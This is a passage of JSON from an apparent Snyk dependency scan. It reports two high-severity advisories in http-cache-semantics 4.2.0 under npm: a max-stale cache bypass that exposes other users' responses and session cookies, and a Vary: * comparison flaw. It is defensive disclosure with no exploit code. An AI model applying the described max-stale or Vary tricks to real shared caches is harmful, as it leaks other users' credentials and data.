"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
